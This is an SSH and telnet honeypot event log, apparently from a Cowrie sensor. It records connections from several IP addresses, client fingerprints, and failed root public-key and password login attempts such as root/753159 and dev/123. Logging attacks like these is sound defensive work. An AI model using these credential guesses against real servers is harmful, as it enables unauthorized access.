{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:35:fd:1a:c3:db:fc:85:20:3f:bd:4a:1f:6d:6c:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7gXuP01h+WaDNe9YvmQ9J/GV6dWkVaHSWm/68RVFftid+SKluvKWdpNJDD23d3sBaaIA61cdm9mW2PMsD76s6rpvx7Q76OyC3w07JuZkDh2bwzLxfS0SyslbeKIJW2el4+6SbO459ENUDo3T8xqKTfY61qVcFp4yiDqoS7rLElTUht8gcfjnebbyXblLq1b4zQHEeyNUfg8rP/9+CWZSkf68me3sKUQsSpnjyzUBNIK4WDrthuFv/28xHr4VRNHvlJvkW4VhlJTR8ypONZZu3+d1BXbku5PolJsSq9orqO+/BZ4WUyKpGKLqnUd0yVc7PVs2arY9SWTr98JhEFOYJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.544344Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:6f:16:8f:9a:29:dd:46:8a:a6:2b:b5:34:06:5b:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcAjIMT72nkRRKYNpZQvqipMXBkTOOi9zKC/5tk1eCtDUwjLIa6iTMrT+x/2Aax3lxmhp/Z302AHqxbasmXxoCVf0W3G++rnalFSb29fneZMR0yQ8VRZnFjdvPJiN4P13ov2yFW4wJsLTHHioBAFPhbAa528pRD3V2tvyQ/GR3ocYnmXf0ML2AMRo1OPtgjY7CiP2fa46xejRuYNgg/PhSLO/cD65whKQ9XpRJS4b3wh2srtXB8ElkN+gvGXNOxeqP52JgULBhYmiDuPMwhX7+afR8WIMo8fAMd/d13Ci9aOeEc9+0s1OmPoh+n0gUIYUB3Y5EOiz98hUw/msCOhB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:6f:16:8f:9a:29:dd:46:8a:a6:2b:b5:34:06:5b:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.568834Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:6f:16:8f:9a:29:dd:46:8a:a6:2b:b5:34:06:5b:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcAjIMT72nkRRKYNpZQvqipMXBkTOOi9zKC/5tk1eCtDUwjLIa6iTMrT+x/2Aax3lxmhp/Z302AHqxbasmXxoCVf0W3G++rnalFSb29fneZMR0yQ8VRZnFjdvPJiN4P13ov2yFW4wJsLTHHioBAFPhbAa528pRD3V2tvyQ/GR3ocYnmXf0ML2AMRo1OPtgjY7CiP2fa46xejRuYNgg/PhSLO/cD65whKQ9XpRJS4b3wh2srtXB8ElkN+gvGXNOxeqP52JgULBhYmiDuPMwhX7+afR8WIMo8fAMd/d13Ci9aOeEc9+0s1OmPoh+n0gUIYUB3Y5EOiz98hUw/msCOhB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.574254Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:7f:aa:cd:72:7b:17:46:f5:55:3b:6d:58:00:40:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OzH+ToJ3HR7n35fog8nuhUSp7MiWtzk/lQCVf+95S7XJS3L+BpfFnm443unG+FOgaYaNJRFr5TG82Tp92kkvGUvIqEO6e+uImgwpOmRhcmB0yHbaSS6QRuVEllQbmL3F5I2KQU6J/guJtozqBw5GAQhmvbg2K55pBhYBozjdq9aoJEy8g2uE+3ydsTVbo978/wuaQnrzq5jYkSkY/oAsW6vYzRcszUnqxx6C9Nq252YqIOMipywIlNCXYcZ0Q6BJBH/BQkQJQlnPhwmdwcPx1r0K2ksdQ8spovWUx+3dE4reetsbNX9LJfh6SXQycaAmLvE5scsFDPTeFq0Q+4AL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:7f:aa:cd:72:7b:17:46:f5:55:3b:6d:58:00:40:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.595262Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:7f:aa:cd:72:7b:17:46:f5:55:3b:6d:58:00:40:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OzH+ToJ3HR7n35fog8nuhUSp7MiWtzk/lQCVf+95S7XJS3L+BpfFnm443unG+FOgaYaNJRFr5TG82Tp92kkvGUvIqEO6e+uImgwpOmRhcmB0yHbaSS6QRuVEllQbmL3F5I2KQU6J/guJtozqBw5GAQhmvbg2K55pBhYBozjdq9aoJEy8g2uE+3ydsTVbo978/wuaQnrzq5jYkSkY/oAsW6vYzRcszUnqxx6C9Nq252YqIOMipywIlNCXYcZ0Q6BJBH/BQkQJQlnPhwmdwcPx1r0K2ksdQ8spovWUx+3dE4reetsbNX9LJfh6SXQycaAmLvE5scsFDPTeFq0Q+4AL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.599881Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:a3:aa:42:41:00:5b:04:05:5e:23:51:41:d7:e9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Cat6fYRy3qYaHrptGS38BoiS0FcSWdfNs0fK9Cr0BEQvKlrUMRPO0hc9QtZ1PNrEAx+tvkLGf0jPjuHtTNilOgLFvIoDaMELOEx5eBE1h8csQ8RsgRQYpGGJPoiduYbdzGNa9l3mgi02wvYhRelvxQvArKO82P7b1S8z/kzTlBxblhHARG7Z6pbeJSjCnj9hVBUXseovydFrRzsXhYytlXvMcasc+2dY4rU0E5ytFIXLHOFwzBsqijISZaVwyjvjRLbrXf5dCmB1SVZVg/7EDEESxUmW4WJCddT4e4OD3gYIQXA+pV2tqI+HKff2DrGu/U9edATkqS+40QNnIy4ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:a3:aa:42:41:00:5b:04:05:5e:23:51:41:d7:e9:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.620973Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:a3:aa:42:41:00:5b:04:05:5e:23:51:41:d7:e9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Cat6fYRy3qYaHrptGS38BoiS0FcSWdfNs0fK9Cr0BEQvKlrUMRPO0hc9QtZ1PNrEAx+tvkLGf0jPjuHtTNilOgLFvIoDaMELOEx5eBE1h8csQ8RsgRQYpGGJPoiduYbdzGNa9l3mgi02wvYhRelvxQvArKO82P7b1S8z/kzTlBxblhHARG7Z6pbeJSjCnj9hVBUXseovydFrRzsXhYytlXvMcasc+2dY4rU0E5ytFIXLHOFwzBsqijISZaVwyjvjRLbrXf5dCmB1SVZVg/7EDEESxUmW4WJCddT4e4OD3gYIQXA+pV2tqI+HKff2DrGu/U9edATkqS+40QNnIy4ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.625962Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:4b:9b:61:92:60:68:ed:c7:3d:90:fa:8d:bb:1e:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLEE8m0vKh3gUscDWuVyTJ1HrZP809k0qa2rGAtyZGSAfGMbkvFz/iGJDarD4/tsDgmt3llncLZesgUodMcT2op1YWJgLftWS5DCqSORaMe0ApufaAKB2hMfxsW02NeMxxmdeERsUsYPeYzmaQKqXu0Hmv08oFUWiNH5RfIOaa/8rfACiZy9pwEPfLyUoB6mWRthZBvTEEtM46OxKsovpHwP97hAfcmZT5BGZzwEsqAYbW0KNiYamQpqnMH/xD5FcMVTEwFqUpgZSPl4v540d+0DFWF3zbVxk6xlrSeqGFIGuHFgGblg+aq9UZIVrfgKbO1qHSQ7CNBwzOSX3WasUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:4b:9b:61:92:60:68:ed:c7:3d:90:fa:8d:bb:1e:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.647891Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:4b:9b:61:92:60:68:ed:c7:3d:90:fa:8d:bb:1e:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLEE8m0vKh3gUscDWuVyTJ1HrZP809k0qa2rGAtyZGSAfGMbkvFz/iGJDarD4/tsDgmt3llncLZesgUodMcT2op1YWJgLftWS5DCqSORaMe0ApufaAKB2hMfxsW02NeMxxmdeERsUsYPeYzmaQKqXu0Hmv08oFUWiNH5RfIOaa/8rfACiZy9pwEPfLyUoB6mWRthZBvTEEtM46OxKsovpHwP97hAfcmZT5BGZzwEsqAYbW0KNiYamQpqnMH/xD5FcMVTEwFqUpgZSPl4v540d+0DFWF3zbVxk6xlrSeqGFIGuHFgGblg+aq9UZIVrfgKbO1qHSQ7CNBwzOSX3WasUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.653305Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.674239Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38472,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5306ea8d75","protocol":"telnet","message":"New connection: 152.42.224.71:38472 (10.17.0.5:23) [session: 3a5306ea8d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:04.015413Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:04.783690Z","src_ip":"45.153.34.97","session":"4c1e839ab01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41300,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d45b84c0a74","protocol":"ssh","message":"New connection: 80.66.85.226:41300 (159.203.135.109:22) [session: 8d45b84c0a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.030480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.035618Z","src_ip":"80.66.85.226","session":"8d45b84c0a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.124880Z","src_ip":"80.66.85.226","session":"8d45b84c0a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56406,"dst_ip":"159.203.135.109","dst_port":22,"session":"353b60175c45","protocol":"ssh","message":"New connection: 194.113.233.25:56406 (159.203.135.109:22) [session: 353b60175c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.370135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.375125Z","src_ip":"194.113.233.25","session":"353b60175c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.464494Z","src_ip":"194.113.233.25","session":"353b60175c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"753159","message":"login attempt [root/753159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.472714Z","src_ip":"80.66.85.226","session":"8d45b84c0a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cneltyn","message":"login attempt [root/cneltyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:06.732571Z","src_ip":"194.113.233.25","session":"353b60175c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39810,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1245c3e204","protocol":"ssh","message":"New connection: 45.153.34.97:39810 (10.17.0.5:22) [session: fe1245c3e204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.199530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.209630Z","src_ip":"45.153.34.97","session":"fe1245c3e204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.401317Z","src_ip":"45.153.34.97","session":"fe1245c3e204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.567459Z","src_ip":"80.66.85.226","session":"8d45b84c0a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.712766Z","src_ip":"45.153.34.97","session":"fe1245c3e204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:07.826133Z","src_ip":"194.113.233.25","session":"353b60175c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:08.800313Z","src_ip":"45.153.34.97","session":"fe1245c3e204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.56.91","src_port":17682,"dst_ip":"10.17.0.5","dst_port":22,"session":"912880a16be8","protocol":"ssh","message":"New connection: 68.235.56.91:17682 (10.17.0.5:22) [session: 912880a16be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.689009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.697932Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.729782Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:c1:3a:55:9c:bd:64:3d:2c:ed:75:3e:92:e3:4d:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY6Nm/shH2TCrI8Kg+rEwgcNBsK8L5Z4c4pBv1eLLYcKi8DNg0IR/vZoszvFoxHKaviMRNFxCUKBKOhWk4AKYazRHcPjEez6pW50n9zgp9TNwnH47M7ssOhw+B7RkYxdtmZrg9Gg6g2S8GOiC0bWx5vkd284GHLsS4w1OiLhAo4/zE0EyptnSZ3teIUdP8M2De1cPN8KB2GthhBQSWEj8687Dq6Lvp54jkOdASkfooIjx1Uq9XVH105ImcBORB3RCV7wUHI5pw6pmRMQGm7QZUJPm3vd6ZLhMO82sV3RyDoljZ0U/u3gdA8RAl7kPED+9rntSed6rNqhg7x8BS1k4X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:c1:3a:55:9c:bd:64:3d:2c:ed:75:3e:92:e3:4d:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.859598Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:c1:3a:55:9c:bd:64:3d:2c:ed:75:3e:92:e3:4d:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY6Nm/shH2TCrI8Kg+rEwgcNBsK8L5Z4c4pBv1eLLYcKi8DNg0IR/vZoszvFoxHKaviMRNFxCUKBKOhWk4AKYazRHcPjEez6pW50n9zgp9TNwnH47M7ssOhw+B7RkYxdtmZrg9Gg6g2S8GOiC0bWx5vkd284GHLsS4w1OiLhAo4/zE0EyptnSZ3teIUdP8M2De1cPN8KB2GthhBQSWEj8687Dq6Lvp54jkOdASkfooIjx1Uq9XVH105ImcBORB3RCV7wUHI5pw6pmRMQGm7QZUJPm3vd6ZLhMO82sV3RyDoljZ0U/u3gdA8RAl7kPED+9rntSed6rNqhg7x8BS1k4X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.864310Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP2fz5n40jOLVfCCZcrFVenPEd8PF0DbjuaJeZQZFmQwkcJ2DbctVh7Vv1/9AovviKP1pfs6CNoO9Vrc4bPgeaY5OLhA9sxB8aQNrvHQdV8Ytke6FjWZn7gmX0jFEL/LfoxI9HHm9LUfQNVmAF4m1cXLObVA85hxwLHXta87k1MVAAAAFQCGB4vVW/B70O82UxshbqFLbTLU5wAAAIAmhJSIiqz1I3fnoEReuor8y05slcgZat6Mk9ej4hpc+zcYkeWp2k7HMtY3EH4UtN68H083glwV6ZgIuNQZSdAH4RgS1NcJavF30iTHe5K593NMeriYCmrlrrskKjs2zq5Gl1R2kdqbyWPDvjwK8lNWZF5LOjPwNGL7ykaeEuI55wAAAIB02+sgcPecF6L4Pdn5ZeaL/TF7eh8E/hUj4PcXm8xXJ4YYTc7KGbD+589gksF9eTRIqaWPs09UOT2K1cWxKPeH4vcX2eqVBQSslP5FudrB4ih4Qx8wLxxfXZ39UEiOjOMn88aBzETcu85ZEHEfgMuvJz83LJ1MArg58QUFpAPdFQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.896899Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
